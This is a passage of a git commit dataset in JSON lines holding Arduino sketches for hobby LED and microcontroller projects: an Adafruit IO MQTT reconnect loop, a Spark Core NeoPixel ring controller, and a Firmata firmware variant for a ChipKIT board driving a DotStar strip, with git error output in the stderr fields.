{\n\n Serial.print(F(\"Connecting to Adafruit IO... \"));\n\n int8_t ret;\n\n while ((ret = mqtt.connect()) != 0) {\n\n switch (ret) {\n case 1: Serial.println(F(\"Wrong protocol\")); break;\n case 2: Serial.println(F(\"ID rejected\")); break;\n case 3: Serial.println(F(\"Server unavail\")); break;\n case 4: Serial.println(F(\"Bad user\/pass\")); break;\n case 5: Serial.println(F(\"Not authed\")); break;\n case 6: Serial.println(F(\"Failed to subscribe\")); break;\n default:\n Serial.println(F(\"Connection failed\"));\n CC3000connect(WLAN_SSID, WLAN_PASS, WLAN_SECURITY);\n break;\n }\n\n if(ret >= 0)\n mqtt.disconnect();\n\n Serial.println(F(\"Retrying connection...\"));\n delay(5000);\n\n }\n\n Serial.println(F(\"Adafruit IO Connected!\"));\n\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'arduino-cc3000\/analog-in\/analog-in.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"d9f9e8d348a1321275cd6fc8ea6afc4734c5c9fc","subject":"Added spark-ring.ino sketch","message":"Added spark-ring.ino sketch\n","repos":"jasoncoon\/SparkRing,jasoncoon\/SparkRing","old_file":"spark-ring.ino","new_file":"spark-ring.ino","new_contents":"\/*-------------------------------------------------------------------------\n \n Spark Core sketch to control a NeoPixel 24 RGB LED ring: https:\/\/www.adafruit.com\/product\/1586\n Written by Jason Coon, based on:\n \n Spark Core library to control WS2811\/WS2812 based RGB\n LED devices such as Adafruit NeoPixel strips.\n Currently handles 800 KHz and 400kHz bitstream on Spark Core, \n WS2812, WS2812B and WS2811.\n\n Also supports:\n - Radio Shack Tri-Color Strip with TM1803 controller 400kHz bitstream.\n - TM1829 pixels\n \n PLEASE NOTE that the NeoPixels require 5V level inputs \n and the Spark Core only has 3.3V level outputs. Level shifting is\n necessary, but will require a fast device such as one of the following:\n\n [SN74HCT125N]\n http:\/\/www.digikey.com\/product-detail\/en\/SN74HCT125N\/296-8386-5-ND\/376860\n\n [SN74HCT245N] \n http:\/\/www.digikey.com\/product-detail\/en\/SN74HCT245N\/296-1612-5-ND\/277258\n\n Written by Phil Burgess \/ Paint Your Dragon for Adafruit Industries.\n Modified to work with Spark Core by Technobly.\n Contributions by PJRC and other members of the open source community.\n\n Adafruit invests time and resources providing this open source code,\n please support Adafruit and open-source hardware by purchasing products\n from Adafruit!\n --------------------------------------------------------------------*\/\n\n\/* ======================= includes ================================= *\/\n\n#include \"application.h\"\n\/\/#include \"spark_disable_wlan.h\" (for faster local debugging only)\n#include \"neopixel\/neopixel.h\"\n\n\/* ======================= prototypes =============================== *\/\n\nvoid colorAll(uint32_t c, uint8_t wait);\nvoid colorWipe(uint32_t c, uint8_t wait);\nvoid rainbow(uint8_t wait);\nvoid rainbowCycle(uint8_t wait);\nuint32_t Wheel(byte WheelPos);\n\n\/* ======================= extra-examples.cpp ======================== *\/\n\n\/\/ IMPORTANT: Set pixel COUNT, PIN and TYPE\n#define PIXEL_COUNT 24\n#define PIXEL_PIN D2\n#define PIXEL_TYPE WS2812B\n\n\/\/ Parameter 1 = number of pixels in strip\n\/\/ Parameter 2 = pin number (most are valid)\n\/\/ note: if not specified, D2 is selected for you.\n\/\/ Parameter 3 = pixel type [ WS2812, WS2812B, WS2811, TM1803 ]\n\/\/ note: if not specified, WS2812B is selected for you.\n\/\/ note: RGB order is automatically applied to WS2811,\n\/\/ WS2812\/WS2812B\/TM1803 is GRB order.\n\/\/\n\/\/ 800 KHz bitstream 800 KHz bitstream (most NeoPixel products ...\n\/\/ ... WS2812 (6-pin part)\/WS2812B (4-pin part) )\n\/\/\n\/\/ 400 KHz bitstream (classic 'v1' (not v2) FLORA pixels, WS2811 drivers)\n\/\/ (Radio Shack Tri-Color LED Strip - TM1803 driver\n\/\/ NOTE: RS Tri-Color LED's are grouped in sets of 3)\n\nAdafruit_NeoPixel strip = Adafruit_NeoPixel(PIXEL_COUNT, PIXEL_PIN, PIXEL_TYPE);\n\n\/\/ IMPORTANT: To reduce NeoPixel burnout risk, add 1000 uF capacitor across\n\/\/ pixel power leads, add 300 - 500 Ohm resistor on first pixel's data input\n\/\/ and minimize distance between Arduino and first pixel. Avoid connecting\n\/\/ on a live circuit...if you must, connect GND first.\n\nint brightness = 64;\nint patternCount = 6;\nint patternIndex = 4;\nchar patternName[32] = \"Rainbow Cycle\";\nint power = 1;\n\nint setPower(String args) {\n power = args.toInt();\n if(power < 0)\n power = 0;\n else if (power > 1)\n power = 1;\n \n return power;\n}\n\nint setBrightness(String args)\n{\n brightness = args.toInt();\n if(brightness < 0)\n brightness = 0;\n else if(brightness > 255)\n brightness = 255;\n \n strip.setBrightness(brightness);\n strip.show();\n return brightness;\n}\n\nint setPatternIndex(String args)\n{\n patternIndex = args.toInt();\n if(patternIndex < 0)\n patternIndex = 0;\n else if (patternIndex >= patternCount)\n patternIndex = patternCount - 1;\n \n return patternIndex;\n}\n\nint setPatternName(String args)\n{\n int pattern = args.toInt();\n if(pattern < 0)\n pattern = 0;\n else if (pattern >= patternCount)\n pattern = patternCount - 1;\n \n switch(pattern)\n {\n case 0:\n strcpy(patternName, \"Color Wipe Red\");\n break;\n \n case 1:\n strcpy(patternName, \"Color Wipe Green\");\n break;\n \n case 2:\n strcpy(patternName, \"Color Wipe Blue\");\n break;\n \n case 3:\n strcpy(patternName, \"Rainbow Cycle\");\n break;\n \n case 4:\n default:\n strcpy(patternName, \"Rainbow Spin\");\n break;\n \n case 5:\n strcpy(patternName, \"Color All Magenta\");\n break;\n }\n \n return pattern;\n}\n\nvoid setup() {\n Spark.function(\"power\", setPower);\n Spark.function(\"brightness\", setBrightness);\n Spark.function(\"patternIndex\", setPatternIndex);\n Spark.function(\"patternName\", setPatternName);\n \n Spark.variable(\"power\", &power, INT);\n Spark.variable(\"brightness\", &brightness, INT);\n Spark.variable(\"patternCount\", &patternCount, INT);\n Spark.variable(\"patternIndex\", &patternIndex, INT);\n Spark.variable(\"patternName\", patternName, STRING);\n \n strip.begin();\n strip.setBrightness(64);\n strip.show(); \/\/ Initialize all pixels to 'off'\n}\n\nvoid loop() {\n \/\/ Some example procedures showing how to display to the pixels:\n \/\/ Do not run more than one of these at a time, or the b\/g tasks \n \/\/ will be blocked.\n \/\/--------------------------------------------------------------\n \n \/\/strip.setPixelColor(0, strip.Color(255, 0, 255));\n \/\/strip.show();\n \n if(power < 1) {\n colorAll(strip.Color(0, 0, 0), 0); \/\/ Black\n delay(250);\n return;\n }\n \n switch(patternIndex)\n {\n case 0:\n colorWipe(strip.Color(255, 0, 0), 50); \/\/ Red\n break;\n \n case 1:\n colorWipe(strip.Color(0, 255, 0), 50); \/\/ Green\n break;\n \n case 2:\n colorWipe(strip.Color(0, 0, 255), 50); \/\/ Blue\n break;\n \n case 3:\n rainbowCycle(20);\n break;\n \n case 4:\n default:\n rainbowSpin(20);\n break;\n \n case 5:\n colorAll(strip.Color(0, 255, 255), 50); \/\/ Magenta\n break;\n }\n}\n\n\/\/ Set all pixels in the strip to a solid color, then wait (ms)\nvoid colorAll(uint32_t c, uint8_t wait) {\n uint16_t i;\n \n for(i=0; i<strip.numPixels(); i++) {\n strip.setPixelColor(i, c);\n }\n strip.show();\n delay(wait);\n}\n\n\/\/ Fill the dots one after the other with a color, wait (ms) after each one\nvoid colorWipe(uint32_t c, uint8_t wait) {\n for(uint16_t i=0; i<strip.numPixels(); i++) {\n strip.setPixelColor(i, c);\n strip.show();\n delay(wait);\n }\n}\n\nvoid rainbowCycle(uint8_t wait) {\n uint16_t i, j;\n\n for(j=0; j<256; j++) {\n for(i=0; i<strip.numPixels(); i++) {\n strip.setPixelColor(i, Wheel((i+j) & 255));\n }\n strip.show();\n delay(wait);\n }\n}\n\n\/\/ Slightly different, this makes the rainbow equally distributed throughout, then wait (ms)\nvoid rainbowSpin(uint8_t wait) {\n uint16_t i, j;\n\n for(j=0; j<256; j++) { \/\/ 1 cycle of all colors on wheel\n for(i=0; i< strip.numPixels(); i++) {\n strip.setPixelColor(i, Wheel(((i * 256 \/ strip.numPixels()) + j) & 255));\n }\n strip.show();\n delay(wait);\n }\n}\n\n\/\/ Input a value 0 to 255 to get a color value.\n\/\/ The colours are a transition r - g - b - back to r.\nuint32_t Wheel(byte WheelPos) {\n if(WheelPos < 85) {\n return strip.Color(WheelPos * 3, 255 - WheelPos * 3, 0);\n } else if(WheelPos < 170) {\n WheelPos -= 85;\n return strip.Color(255 - WheelPos * 3, 0, WheelPos * 3);\n } else {\n WheelPos -= 170;\n return strip.Color(0, WheelPos * 3, 255 - WheelPos * 3);\n }\n}","old_contents":"","returncode":1,"stderr":"error: pathspec 'spark-ring.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"3bae2a07c9839c257cddc0e083c259acefe51087","subject":"Update sensorScript variables to reflect led instead of buzzer","message":"Update sensorScript variables to reflect led instead of buzzer\n","repos":"onordbo\/mood-cloud,onordbo\/mood-cloud,onordbo\/mood-cloud","old_file":"Sensorscript.ino","new_file":"Sensorscript.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/onordbo\/mood-cloud.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"f3dd5485f313a35cb33d86ffb02e94527bf1fcc8","subject":"Create StandardFirmataChipKITledstrip.ino","message":"Create StandardFirmataChipKITledstrip.ino","repos":"RutgersUniversityVirtualWorlds\/pixelwall,RutgersUniversityVirtualWorlds\/pixelwall","old_file":"arduino\/StandardFirmataChipKITledstrip\/StandardFirmataChipKITledstrip.ino","new_file":"arduino\/StandardFirmataChipKITledstrip\/StandardFirmataChipKITledstrip.ino","new_contents":"\n\/*\n Firmata is a generic protocol for communicating with microcontrollers\n from software on a host computer. It is intended to work with\n any host computer software package.\n\n To download a host software package, please clink on the following link\n to open the list of Firmata client libraries your default browser.\n\n https:\/\/github.com\/firmata\/arduino#firmata-client-libraries\n\n Copyright (C) 2006-2008 Hans-Christoph Steiner. All rights reserved.\n Copyright (C) 2010-2011 Paul Stoffregen. All rights reserved.\n Copyright (C) 2009 Shigeru Kobayashi. All rights reserved.\n Copyright (C) 2009-2015 Jeff Hoefs. All rights reserved.\n Copyright (C) 2015 Brian Schmalz. All rights reserved.\n Copyright (C) 2016 Rick Anderson. All rights reserved.\n\n This library is free software; you can redistribute it and\/or\n modify it under the terms of the GNU Lesser General Public\n License as published by the Free Software Foundation; either\n version 2.1 of the License, or (at your option) any later version.\n\n See file LICENSE.txt for further informations on licensing terms.\n\n Last updated by Brian Schmalz: August 9th, 2015\n*\/\n#include <SPI.h>\n#include <Adafruit_DotStar.h>\n\n#include <SoftPWMServo.h> \/\/ Gives us PWM and Servo on every pin\n#include <Wire.h>\n#include <Firmata.h>\n\n#define CK_COMMAND 0x40\n#define CK_PIXEL_SET 0x10\n#define CK_PIXEL_SHOW 0x11\n#define CK_PIXEL_CLEAR 0x12\n#define CK_PIXEL_BRIGHTNESS 0x13\n#define CK_PIXEL_ALERT_HIGH 0x14\n#define CK_PIXEL_ALERT_LOW 0x15\n\n#define NUMPIXELS 30 \/\/ Number of LEDs in strip\n#define RED 0xFF0000\n#define GREEN 0x00FF00\n#define BLUE 0x0000FF\n#define ICEBLUE 0x000055\n\n#define I2C_WRITE B00000000\n#define I2C_READ B00001000\n#define I2C_READ_CONTINUOUSLY B00010000\n#define I2C_STOP_READING B00011000\n#define I2C_READ_WRITE_MODE_MASK B00011000\n#define I2C_10BIT_ADDRESS_MODE_MASK B00100000\n#define I2C_MAX_QUERIES 8\n#define I2C_REGISTER_NOT_SPECIFIED -1\n\n\/\/ the minimum interval for sampling analog input\n#define MINIMUM_SAMPLING_INTERVAL 10\n\n\n\/*==============================================================================\n GLOBAL VARIABLES\n ============================================================================*\/\n\/* apa102c rgb led strip *\/\nAdafruit_DotStar strip = Adafruit_DotStar(NUMPIXELS, DOTSTAR_BGR);\n\/\/Adafruit_DotStar strip = Adafruit_DotStar(NUMPIXELS, 18, 3 ,DOTSTAR_BGR);\n\n\n\/* analog inputs *\/\nint analogInputsToReport = 0; \/\/ bitwise array to store pin reporting\n\n\/* digital input ports *\/\nbyte reportPINs[TOTAL_PORTS]; \/\/ 1 = report this port, 0 = silence\nbyte previousPINs[TOTAL_PORTS]; \/\/ previous 8 bits sent\n\n\/* pins configuration *\/\nbyte pinConfig[TOTAL_PINS]; \/\/ configuration of every pin\nbyte portConfigInputs[TOTAL_PORTS]; \/\/ each bit: 1 = pin in INPUT, 0 = anything else\nint pinState[TOTAL_PINS]; \/\/ any value that has been written\n\n\/* timer variables *\/\nunsigned long currentMillis; \/\/ store the current value from millis()\nunsigned long previousMillis; \/\/ for comparison with currentMillis\nunsigned int samplingInterval = 19; \/\/ how often to run the main loop (in ms)\n\n\/* i2c data *\/\nstruct i2c_device_info {\n byte addr;\n int reg;\n byte bytes;\n};\n\n\/* for i2c read continuous more *\/\ni2c_device_info query[I2C_MAX_QUERIES];\n\nbyte i2cRxData[32];\nboolean isI2CEnabled = false;\nsigned char queryIndex = -1;\n\/\/ default delay time between i2c read request and Wire.requestFrom()\nunsigned int i2cReadDelayTime = 0;\n\nSoftServo servos[MAX_SERVOS];\nbyte servoPinMap[TOTAL_PINS];\nbyte detachedServos[MAX_SERVOS];\nbyte detachedServoCount = 0;\nbyte servoCount = 0;\n\nboolean isResetting = false;\n\n\/* utility functions *\/\nvoid wireWrite(byte data)\n{\n#if ARDUINO >= 100\n Wire.write((byte)data);\n#else\n Wire.send(data);\n#endif\n}\n\nbyte wireRead(void)\n{\n#if ARDUINO >= 100\n return Wire.read();\n#else\n return Wire.receive();\n#endif\n}\n\n\/*==============================================================================\n FUNCTIONS\n ============================================================================*\/\n\nvoid attachServo(byte pin, int minPulse, int maxPulse)\n{\n if (servoCount < MAX_SERVOS) {\n \/\/ reuse indexes of detached servos until all have been reallocated\n if (detachedServoCount > 0) {\n servoPinMap[pin] = detachedServos[detachedServoCount - 1];\n if (detachedServoCount > 0) detachedServoCount--;\n } else {\n servoPinMap[pin] = servoCount;\n servoCount++;\n }\n if (minPulse > 0 && maxPulse > 0) {\n servos[servoPinMap[pin]].attach(PIN_TO_DIGITAL(pin), minPulse, maxPulse);\n } else {\n servos[servoPinMap[pin]].attach(PIN_TO_DIGITAL(pin));\n }\n } else {\n Firmata.sendString(\"Max servos attached\");\n }\n}\n\nvoid detachServo(byte pin)\n{\n servos[servoPinMap[pin]].detach();\n \/\/ if we're detaching the last servo, decrement the count\n \/\/ otherwise store the index of the detached servo\n if (servoPinMap[pin] == servoCount && servoCount > 0) {\n servoCount--;\n } else if (servoCount > 0) {\n \/\/ keep track of detached servos because we want to reuse their indexes\n \/\/ before incrementing the count of attached servos\n detachedServoCount++;\n detachedServos[detachedServoCount - 1] = servoPinMap[pin];\n }\n\n servoPinMap[pin] = 255;\n}\n\nvoid readAndReportData(byte address, int theRegister, byte numBytes) {\n \/\/ allow I2C requests that don't require a register read\n \/\/ for example, some devices using an interrupt pin to signify new data available\n \/\/ do not always require the register read so upon interrupt you call Wire.requestFrom()\n if (theRegister != I2C_REGISTER_NOT_SPECIFIED) {\n Wire.beginTransmission(address);\n wireWrite((byte)theRegister);\n Wire.endTransmission();\n \/\/ do not set a value of 0\n if (i2cReadDelayTime > 0) {\n \/\/ delay is necessary for some devices such as WiiNunchuck\n delayMicroseconds(i2cReadDelayTime);\n }\n } else {\n theRegister = 0; \/\/ fill the register with a dummy value\n }\n\n Wire.requestFrom(address, numBytes); \/\/ all bytes are returned in requestFrom\n\n \/\/ check to be sure correct number of bytes were returned by slave\n if (numBytes < Wire.available()) {\n Firmata.sendString(\"I2C: Too many bytes received\");\n } else if (numBytes > Wire.available()) {\n Firmata.sendString(\"I2C: Too few bytes received\");\n }\n\n i2cRxData[0] = address;\n i2cRxData[1] = theRegister;\n\n for (int i = 0; i < numBytes && Wire.available(); i++) {\n i2cRxData[2 + i] = wireRead();\n }\n\n \/\/ send slave address, register and received bytes\n Firmata.sendSysex(SYSEX_I2C_REPLY, numBytes + 2, i2cRxData);\n}\n\nvoid outputPort(byte portNumber, byte portValue, byte forceSend)\n{\n \/\/ pins not configured as INPUT are cleared to zeros\n portValue = portValue & portConfigInputs[portNumber];\n \/\/ only send if the value is different than previously sent\n if (forceSend || previousPINs[portNumber] != portValue) {\n Firmata.sendDigitalPort(portNumber, portValue);\n previousPINs[portNumber] = portValue;\n }\n}\n\n\/* -----------------------------------------------------------------------------\n check all the active digital inputs for change of state, then add any events\n to the Serial output queue using Serial.print() *\/\nvoid checkDigitalInputs(void)\n{\n \/* Using non-looping code allows constants to be given to readPort().\n The compiler will apply substantial optimizations if the inputs\n to readPort() are compile-time constants. *\/\n if (TOTAL_PORTS > 0 && reportPINs[0]) outputPort(0, readPort(0, portConfigInputs[0]), false);\n if (TOTAL_PORTS > 1 && reportPINs[1]) outputPort(1, readPort(1, portConfigInputs[1]), false);\n if (TOTAL_PORTS > 2 && reportPINs[2]) outputPort(2, readPort(2, portConfigInputs[2]), false);\n if (TOTAL_PORTS > 3 && reportPINs[3]) outputPort(3, readPort(3, portConfigInputs[3]), false);\n if (TOTAL_PORTS > 4 && reportPINs[4]) outputPort(4, readPort(4, portConfigInputs[4]), false);\n if (TOTAL_PORTS > 5 && reportPINs[5]) outputPort(5, readPort(5, portConfigInputs[5]), false);\n if (TOTAL_PORTS > 6 && reportPINs[6]) outputPort(6, readPort(6, portConfigInputs[6]), false);\n if (TOTAL_PORTS > 7 && reportPINs[7]) outputPort(7, readPort(7, portConfigInputs[7]), false);\n if (TOTAL_PORTS > 8 && reportPINs[8]) outputPort(8, readPort(8, portConfigInputs[8]), false);\n if (TOTAL_PORTS > 9 && reportPINs[9]) outputPort(9, readPort(9, portConfigInputs[9]), false);\n if (TOTAL_PORTS > 10 && reportPINs[10]) outputPort(10, readPort(10, portConfigInputs[10]), false);\n if (TOTAL_PORTS > 11 && reportPINs[11]) outputPort(11, readPort(11, portConfigInputs[11]), false);\n if (TOTAL_PORTS > 12 && reportPINs[12]) outputPort(12, readPort(12, portConfigInputs[12]), false);\n if (TOTAL_PORTS > 13 && reportPINs[13]) outputPort(13, readPort(13, portConfigInputs[13]), false);\n if (TOTAL_PORTS > 14 && reportPINs[14]) outputPort(14, readPort(14, portConfigInputs[14]), false);\n if (TOTAL_PORTS > 15 && reportPINs[15]) outputPort(15, readPort(15, portConfigInputs[15]), false);\n}\n\n\/\/----------------------------------\n\/*\n contact DOTSTAR strip\n goup the dotstar functions to act as a callback from firmata commands\n*\/\nvoid dotstarHello() {\n strip.clear();\n uint32_t frame[NUMPIXELS];\n for (int ii = 0; ii < NUMPIXELS; ii++) {\n frame[ii] = BLUE; \/\/initialize all to BLUE\n strip.setPixelColor(ii, frame[ii]);\n }\n strip.show();\n}\nvoid dotstarAlertHigh() {\n strip.clear();\n uint32_t frame[NUMPIXELS];\n for (int ii = 0; ii < NUMPIXELS; ii++) {\n frame[ii] = RED; \/\/initialize all to RED\n strip.setPixelColor(ii, frame[ii]);\n }\n strip.show();\n}\nvoid dotstarAlertLow() {\n strip.clear();\n uint32_t frame[NUMPIXELS];\n for (int ii = 0; ii < NUMPIXELS; ii++) {\n frame[ii] = ICEBLUE; \/\/initialize all to ICEBLUE\n strip.setPixelColor(ii, frame[ii]);\n }\n strip.show();\n}\n\n\n\/\/ -----------------------------------------------------------------------------\n\/* Sets a pin that is in Servo mode to a particular output value\n (i.e. pulse width). Different boards may have different ways of\n setting servo values, so putting it in a function keeps things cleaner.\n*\/\nvoid servoWrite(byte pin, int value)\n{\n SoftPWMServoPWMWrite(PIN_TO_PWM(pin), value);\n}\n\n\/\/ -----------------------------------------------------------------------------\n\/* sets the pin mode to the correct state and sets the relevant bits in the\n two bit-arrays that track Digital I\/O and PWM status\n*\/\nvoid setPinModeCallback(byte pin, int mode)\n{\n if (pinConfig[pin] == IGNORE)\n return;\n\n if (pinConfig[pin] == I2C && isI2CEnabled && mode != I2C) {\n \/\/ disable i2c so pins can be used for other functions\n \/\/ the following if statements should reconfigure the pins properly\n disableI2CPins();\n }\n if (IS_PIN_DIGITAL(pin) && mode != SERVO) {\n if (servoPinMap[pin] < MAX_SERVOS && servos[servoPinMap[pin]].attached()) {\n detachServo(pin);\n }\n }\n if (IS_PIN_ANALOG(pin)) {\n reportAnalogCallback(PIN_TO_ANALOG(pin), mode == ANALOG ? 1 : 0); \/\/ turn on\/off reporting\n }\n if (IS_PIN_DIGITAL(pin)) {\n if (mode == INPUT) {\n portConfigInputs[pin \/ 8] |= (1 << (pin & 7));\n } else {\n portConfigInputs[pin \/ 8] &= ~(1 << (pin & 7));\n }\n }\n pinState[pin] = 0;\n switch (mode) {\n case ANALOG:\n if (IS_PIN_ANALOG(pin)) {\n if (IS_PIN_DIGITAL(pin)) {\n pinMode(PIN_TO_DIGITAL(pin), INPUT); \/\/ disable output driver\n digitalWrite(PIN_TO_DIGITAL(pin), LOW); \/\/ disable internal pull-ups\n }\n pinConfig[pin] = ANALOG;\n }\n break;\n case INPUT:\n if (IS_PIN_DIGITAL(pin)) {\n pinMode(PIN_TO_DIGITAL(pin), INPUT); \/\/ disable output driver\n digitalWrite(PIN_TO_DIGITAL(pin), LOW); \/\/ disable internal pull-ups\n pinConfig[pin] = INPUT;\n }\n break;\n case OUTPUT:\n if (IS_PIN_DIGITAL(pin)) {\n digitalWrite(PIN_TO_DIGITAL(pin), LOW); \/\/ disable PWM\n pinMode(PIN_TO_DIGITAL(pin), OUTPUT);\n pinConfig[pin] = OUTPUT;\n }\n break;\n case PWM:\n if (IS_PIN_PWM(pin)) {\n pinMode(PIN_TO_PWM(pin), OUTPUT);\n servoWrite(PIN_TO_PWM(pin), 0);\n pinConfig[pin] = PWM;\n }\n break;\n case SERVO:\n if (IS_PIN_DIGITAL(pin)) {\n pinConfig[pin] = SERVO;\n if (servoPinMap[pin] == 255 || !servos[servoPinMap[pin]].attached()) {\n \/\/ pass -1 for min and max pulse values to use default values set\n \/\/ by Servo library\n attachServo(pin, -1, -1);\n }\n }\n case I2C:\n if (IS_PIN_I2C(pin)) {\n \/\/ mark the pin as i2c\n \/\/ the user must call I2C_CONFIG to enable I2C for a device\n pinConfig[pin] = I2C;\n }\n break;\n default:\n Firmata.sendString(\"Unknown pin mode\"); \/\/ TODO: put error msgs in EEPROM\n }\n \/\/ TODO: save status to EEPROM here, if changed\n}\n\nvoid analogWriteCallback(byte pin, int value)\n{\n if (pin < TOTAL_PINS) {\n switch (pinConfig[pin]) {\n case SERVO:\n if (IS_PIN_DIGITAL(pin))\n servos[servoPinMap[pin]].write(value);\n pinState[pin] = value;\n break;\n case PWM:\n if (IS_PIN_PWM(pin))\n servoWrite(PIN_TO_PWM(pin), value);\n pinState[pin] = value;\n break;\n }\n }\n}\n\nvoid digitalWriteCallback(byte port, int value)\n{\n byte pin, lastPin, mask = 1, pinWriteMask = 0;\n\n if (port < TOTAL_PORTS) {\n \/\/ create a mask of the pins on this port that are writable.\n lastPin = port * 8 + 8;\n if (lastPin > TOTAL_PINS) lastPin = TOTAL_PINS;\n for (pin = port * 8; pin < lastPin; pin++) {\n \/\/ do not disturb non-digital pins (eg, Rx & Tx)\n if (IS_PIN_DIGITAL(pin)) {\n \/\/ only write to OUTPUT and INPUT (enables pullup)\n \/\/ do not touch pins in PWM, ANALOG, SERVO or other modes\n if (pinConfig[pin] == OUTPUT || pinConfig[pin] == INPUT) {\n pinWriteMask |= mask;\n pinState[pin] = ((byte)value & mask) ? 1 : 0;\n }\n }\n mask = mask << 1;\n }\n writePort(port, (byte)value, pinWriteMask);\n }\n}\n\n\n\/\/ -----------------------------------------------------------------------------\n\/* sets bits in a bit array (int) to toggle the reporting of the analogIns\n*\/\n\/\/void FirmataClass::setAnalogPinReporting(byte pin, byte state) {\n\/\/}\nvoid reportAnalogCallback(byte analogPin, int value)\n{\n if (analogPin < TOTAL_ANALOG_PINS) {\n if (value == 0) {\n analogInputsToReport = analogInputsToReport & ~ (1 << analogPin);\n } else {\n analogInputsToReport = analogInputsToReport | (1 << analogPin);\n \/\/ prevent during system reset or all analog pin values will be reported\n \/\/ which may report noise for unconnected analog pins\n if (!isResetting) {\n \/\/ Send pin value immediately. This is helpful when connected via\n \/\/ ethernet, wi-fi or bluetooth so pin states can be known upon\n \/\/ reconnecting.\n Firmata.sendAnalog(analogPin, analogRead(analogPin));\n }\n }\n }\n \/\/ TODO: save status to EEPROM here, if changed\n}\n\nvoid reportDigitalCallback(byte port, int value)\n{\n if (port < TOTAL_PORTS) {\n reportPINs[port] = (byte)value;\n \/\/ Send port value immediately. This is helpful when connected via\n \/\/ ethernet, wi-fi or bluetooth so pin states can be known upon\n \/\/ reconnecting.\n if (value) outputPort(port, readPort(port, portConfigInputs[port]), true);\n }\n \/\/ do not disable analog reporting on these 8 pins, to allow some\n \/\/ pins used for digital, others analog. Instead, allow both types\n \/\/ of reporting to be enabled, but check if the pin is configured\n \/\/ as analog when sampling the analog inputs. Likewise, while\n \/\/ scanning digital pins, portConfigInputs will mask off values from any\n \/\/ pins configured as analog\n}\n\n\nvoid ckCommand(byte command, byte argc, byte* argv) {\n switch (command) {\n case CK_PIXEL_CLEAR:\n strip.clear();\n \/\/strip.setPixelColor(11, 0xFFFFFF);\n break;\n case CK_PIXEL_SHOW:\n \/\/strip.setPixelColor(12, 0xFFFFFF);\n strip.show();\n break;\n case CK_PIXEL_SET:\n \/\/strip.setPixelColor(10, 0xFFFFFF);\n \/\/strip.show();\n \/\/ This code is directly from the CircuitPlayground\n \/\/ Set a NeoPixel to the specified RGB color.\n \/\/ Expect: 1 byte pixel number, 4 bytes pixel RGB value (as 7-bit bytes)\n\n if (argc >= 5) {\n \/\/ Parse out the pixel number and R, G, B bytes.\n uint8_t pixel = argv[0] & 0x7F;\n uint8_t r = (argv[1] << 1) | ((argv[2] & 0x7F) >> 6); \/\/ Red = 7 bits from byte 4 and 1 bit from byte 5\n uint8_t g = ((argv[2] & 0x3F) << 2) | (((argv[3]) & 0x7F) >> 5); \/\/ Green = 6 bits from byte 5 and 2 bits from byte 6\n uint8_t b = ((argv[3] & 0x1F) << 3) | (((argv[4]) & 0x7F) >> 4); \/\/ Blue = 5 bits from byte 6 and 3 bits from byte 7\n strip.setPixelColor(pixel, r, g, b);\n }\n break;\n case CK_PIXEL_BRIGHTNESS:\n uint8_t data;\n data = argv[0] & 0x7F;\n strip.setBrightness(data);\n break;\n case CK_PIXEL_ALERT_LOW:\n dotstarAlertLow();\n break;\n case CK_PIXEL_ALERT_HIGH:\n dotstarAlertHigh();\n break;\n }\n}\n\nvoid printPixels(int cc) {\n for (int ii = 0; ii < cc; ii++)\n {\n \/\/count argc in pixels\n strip.setPixelColor(ii, 0x00FF00);\n }\n strip.show();\n}\n\/*==============================================================================\n SYSEX-BASED commands\n ============================================================================*\/\n\nvoid sysexCallback(byte command, byte argc, byte *argv)\n{\n byte mode;\n byte slaveAddress;\n byte data;\n int slaveRegister;\n unsigned int delayTime;\n\n switch (command) {\n case CK_COMMAND:\n if (argc < 1) {\n dotstarHello();\n return;\n }\n \/\/ printPixels(argc);\n ckCommand(argv[0], argc - 1, argv + 1);\n break;\n case I2C_REQUEST:\n mode = argv[1] & I2C_READ_WRITE_MODE_MASK;\n if (argv[1] & I2C_10BIT_ADDRESS_MODE_MASK) {\n Firmata.sendString(\"10-bit addressing not supported\");\n return;\n }\n else {\n slaveAddress = argv[0];\n }\n\n switch (mode) {\n case I2C_WRITE:\n Wire.beginTransmission(slaveAddress);\n for (byte i = 2; i < argc; i += 2) {\n data = argv[i] + (argv[i + 1] << 7);\n wireWrite(data);\n }\n Wire.endTransmission();\n delayMicroseconds(70);\n break;\n case I2C_READ:\n if (argc == 6) {\n \/\/ a slave register is specified\n slaveRegister = argv[2] + (argv[3] << 7);\n data = argv[4] + (argv[5] << 7); \/\/ bytes to read\n }\n else {\n \/\/ a slave register is NOT specified\n slaveRegister = I2C_REGISTER_NOT_SPECIFIED;\n data = argv[2] + (argv[3] << 7); \/\/ bytes to read\n }\n readAndReportData(slaveAddress, (int)slaveRegister, data);\n break;\n case I2C_READ_CONTINUOUSLY:\n if ((queryIndex + 1) >= I2C_MAX_QUERIES) {\n \/\/ too many queries, just ignore\n Firmata.sendString(\"too many queries\");\n break;\n }\n if (argc == 6) {\n \/\/ a slave register is specified\n slaveRegister = argv[2] + (argv[3] << 7);\n data = argv[4] + (argv[5] << 7); \/\/ bytes to read\n }\n else {\n \/\/ a slave register is NOT specified\n slaveRegister = (int)I2C_REGISTER_NOT_SPECIFIED;\n data = argv[2] + (argv[3] << 7); \/\/ bytes to read\n }\n queryIndex++;\n query[queryIndex].addr = slaveAddress;\n query[queryIndex].reg = slaveRegister;\n query[queryIndex].bytes = data;\n break;\n case I2C_STOP_READING:\n byte queryIndexToSkip;\n \/\/ if read continuous mode is enabled for only 1 i2c device, disable\n \/\/ read continuous reporting for that device\n if (queryIndex <= 0) {\n queryIndex = -1;\n } else {\n \/\/ if read continuous mode is enabled for multiple devices,\n \/\/ determine which device to stop reading and remove it's data from\n \/\/ the array, shifiting other array data to fill the space\n for (byte i = 0; i < queryIndex + 1; i++) {\n if (query[i].addr == slaveAddress) {\n queryIndexToSkip = i;\n break;\n }\n }\n\n for (byte i = queryIndexToSkip; i < queryIndex + 1; i++) {\n if (i < I2C_MAX_QUERIES) {\n query[i].addr = query[i + 1].addr;\n query[i].reg = query[i + 1].reg;\n query[i].bytes = query[i + 1].bytes;\n }\n }\n 